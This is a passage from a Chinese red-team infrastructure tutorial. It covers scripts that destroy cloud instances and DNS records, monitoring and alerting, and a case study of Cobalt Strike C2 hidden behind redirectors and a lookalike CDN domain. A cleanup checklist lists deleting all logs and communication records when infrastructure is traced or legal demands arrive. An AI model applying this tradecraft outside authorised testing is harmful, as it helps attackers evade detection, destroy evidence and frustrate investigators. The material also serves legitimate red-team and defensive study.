物理销毁 └── 最后手段 ``` ```bash # 远程擦除脚本 #!/bin/bash # 通过 API 终止云实例 # AWS aws ec2 terminate-instances --instance-ids i-1234567890 # DigitalOcean curl -X POST "https://api.digitalocean.com/v2/droplets/12345678/actions" \ -H "Authorization: Bearer $TOKEN" \ -d '{"type":"destroy"}' # 清理 DNS curl -X DELETE "https://api.cloudflare.com/client/v4/zones/ZONE_ID/dns_records/RECORD_ID" \ -H "Authorization: Bearer $TOKEN" ``` --- ## 基础设施监控 ### 监控指标 ``` 关键监控指标: ├── 可用性 │ ├── 服务状态 │ ├── 连接性 │ └── 响应时间 ├── 安全性 │ ├── 入侵检测 │ ├── 异常流量 │ └── 登录尝试 ├── 性能 │ ├── CPU 使用率 │ ├── 内存使用率 │ └── 带宽使用 └── 业务 ├── 活跃会话 ├── 数据量 └── 操作日志 ``` ### 监控工具 ```bash # 使用 Prometheus + Grafana 监控 # Prometheus 配置 # prometheus.yml global: scrape_interval: 15s scrape_configs: - job_name: 'redirector' static_configs: - targets: ['redirector1:9100', 'redirector2:9100'] - job_name: 'team_server' static_configs: - targets: ['teamserver:9100'] # 告警规则 # alerting.yml groups: - name: infrastructure rules: - alert: ServiceDown expr: up == 0 for: 1m annotations: summary: "Service {{ $labels.instance }} is down" ``` ### 告警配置 ```bash # 告警通知配置 # 使用 Telegram Bot send_alert() { message=$1 curl -X POST "https://api.telegram.org/bot$BOT_TOKEN/sendMessage" \ -d "chat_id=$CHAT_ID" \ -d "text=[ALERT] $message" } # 使用邮件 send_email_alert() { message=$1 echo "$message" | mail -s "Infrastructure Alert" admin@example.com } # 使用 Slack send_slack_alert() { message=$1 curl -X POST $SLACK_WEBHOOK \ -H 'Content-type: application/json' \ --data "{\"text\":\"[ALERT] $message\"}" } ``` --- ## 应急清理 ### 应急计划 ``` 应急计划要素: ├── 触发条件 │ ├── 基础设施暴露 │ ├── 被追踪定位 │ ├── 法律要求 │ └── 行动结束 ├── 清理步骤 │ ├── 停止服务 │ ├── 删除数据 │ ├── 销毁实例 │ └── 清理 DNS ├── 责任人 │ └── 明确谁执行 └── 验证 └── 确认清理完成 ``` ### 清理检查清单 ``` 清理检查清单: ├── 服务器清理 │ - [ ] 停止所有服务 │ - [ ] 删除所有日志 │ - [ ] 删除配置文件 │ - [ ] 删除用户账户 │ - [ ] 删除 SSH 密钥 │ - [ ] 清空临时文件 │ - [ ] 覆盖敏感数据 │ - [ ] 终止实例 ├── 域名清理 │ - [ ] 删除 DNS 记录 │ - [ ] 转移/删除域名 │ - [ ] 清理注册信息 ├── 证书清理 │ - [ ] 吊销证书 │ - [ ] 删除私钥 └── 记录清理 - [ ] 删除操作日志 - [ ] 删除通信记录 - [ ] 删除配置文件 ``` --- ## 实战案例 ### 案例一:企业红队演练基础设施 #### 场景描述 ``` 客户:某大型企业 目标:评估检测和响应能力 时间:4 周 规模:5000+ 员工 ``` #### 基础设施架构 ``` 架构设计: ┌─────────────────────────────────────────────────────────┐ │ 红队基础设施 │ ├─────────────────────────────────────────────────────────┤ │ │ │ 目标网络 │ │ ↓ │ │ Redirector 1 (AWS, us-east-1) │ │ Redirector 2 (DigitalOcean, nyc3) │ │ ↓ │ │ Team Server 1 (Vultr, lon) │ │ Team Server 2 (备用,Hetzner) │ │ ↓ │ │ Operator (本地) │ │ │ │ 域名: │ │ - c2.legitimate-cdn.com (主) │ │ - api.legitimate-cdn.com (备用) │ │ │ │ 证书:Let's Encrypt │ │ 加密:TLS 1.3 │ │ │ └─────────────────────────────────────────────────────────┘ ``` #### 配置细节 ``` 配置详情: ├── 域名 │ - 注册于 Namecheap │ - 隐私保护启用 │ - DNS 托管于 Cloudflare ├── 服务器 │ - 4 台云服务器 │ - 不同提供商 │ - 不同地区 ├── 重定向器 │ - Nginx 反向代理 │ - 流量伪装 (混合合法流量) │ - 日志最小化 ├── C2 │ - Cobalt Strike │ - Malleable C2 Profile │ - 模仿正常流量 └── 监控 - Prometheus + Grafana - Telegram 告警 - 自动重启 ``` #### 运营经验 ``` 经验教训: ├── 成功点 │ + 多层重定向有效隐藏 C2 │ + 流量伪装避免检测 │ + 快速轮换应对暴露 │ + 监控及时发现问题 ├── 问题点 │ - 1 台服务器被云提供商封禁 │ - 域名被加入黑名单 │ - 证书过期未及时发现 └── 改进 + 增加备用服务器 + 准备域名池 + 自动化证书管理 ``` --- ## 总结与思考 ### 核心要点回顾 1. **基础设施是红队行动基础** - 良好的设计决定行动成败 - 需要充分规划和准备 - 持续维护和监控 2. **OPSEC 是核心原则** - 隐藏真实身份和位置 - 分层隔离降低风险 - 快速变更应对暴露 3. **重定向器必不可少** - 保护真实 C2 - 流量伪装 - 快速切断 4. **自动化提高效率** - 自动化部署 - 自动化监控 - 自动化清理 5. **应急计划必须准备** - 快速销毁能力 - 完整清理流程 - 明确责任人 ### 深入思考 #### 基础设施的挑战 1. **成本**: 多服务器、多域名成本高 2. **复杂度**: 多层架构管理复杂 3. **检测**: 蓝队检测能力增强 4. **合规**: 云提供商政策限制 5. **追踪**: 执法能力增强 #### 未来趋势 1. **云原生**: 容器化、无服务器 2. **AI 辅助**: 智能流量伪装 3. **去中心化**: P2P C2 4. **合法化**: 更像正常流量 5. **自动化**: 全自动基础设施 ### 实战建议 1. **对红队人员**: - 充分规划基础设施 - 实施多层重定向 - 持续监控和维护 - 准备应急计划 - 定期轮换 2. **对组织**: - 理解红队基础设施特征 - 部署检测能力 - 建立响应流程 - 定期演练 3. **对蓝队**: - 学习红队基础设施特征 - 部署网络监控 - 分析流量模式 - 追踪基础设施 --- ## 参考资料 ### 学习资源 - **Red Team Infrastructure Wiki** - https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki - **Cobalt Strike Manual** - https://cobaltstrike.com/help - **AWS Security Best Practices** - https://aws.amazon.com/security/ ### 工具资源 | 工具 | 用途 | 链接 | |------|------|------| | **Cobalt Strike** | C2 框架 | https://cobaltstrike.com/ | | **Sliver** | C2 框架 | https://github.com/BishopFox/sliver | | **Mythic** | C2 框架 | https://github.com/its-a-feature/Mythic | | **Terraform** | 基础设施即代码 | https://www.terraform.io/ | | **Ansible** | 配置管理 | https://www.ansible.com/ | | **Prometheus** | 监控 | https://prometheus.io/ | | **Nginx** | 重定向器 | https://nginx.org/ | | **HAProxy** | 负载均衡 | https://www.haproxy.org/ | ### 书籍推荐 1. **《Red Team Development and Operations》** - 章节:Infrastructure - 红队基础设施权威指南 2. **《The Red Team Field Manual》** - 作者:Ben Clark - 包含基础设施快速参考 3. **《Advanced Penetration Testing》** - 作者:Wil Allsopp - 包含 C2 基础设施章节 4. **《Red Team Field Manual (RTFM)》** - 作者:Ben Clark - 实战参考手册 --- *365 天信息安全技术系列 | Day 244 | 渗透测试系列 | 红队基础设施搭建* *创建时间:2026-04-12 | 作者:安全专家 · 严谨专业版*
myh0st
2026年4月13日 23:19
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码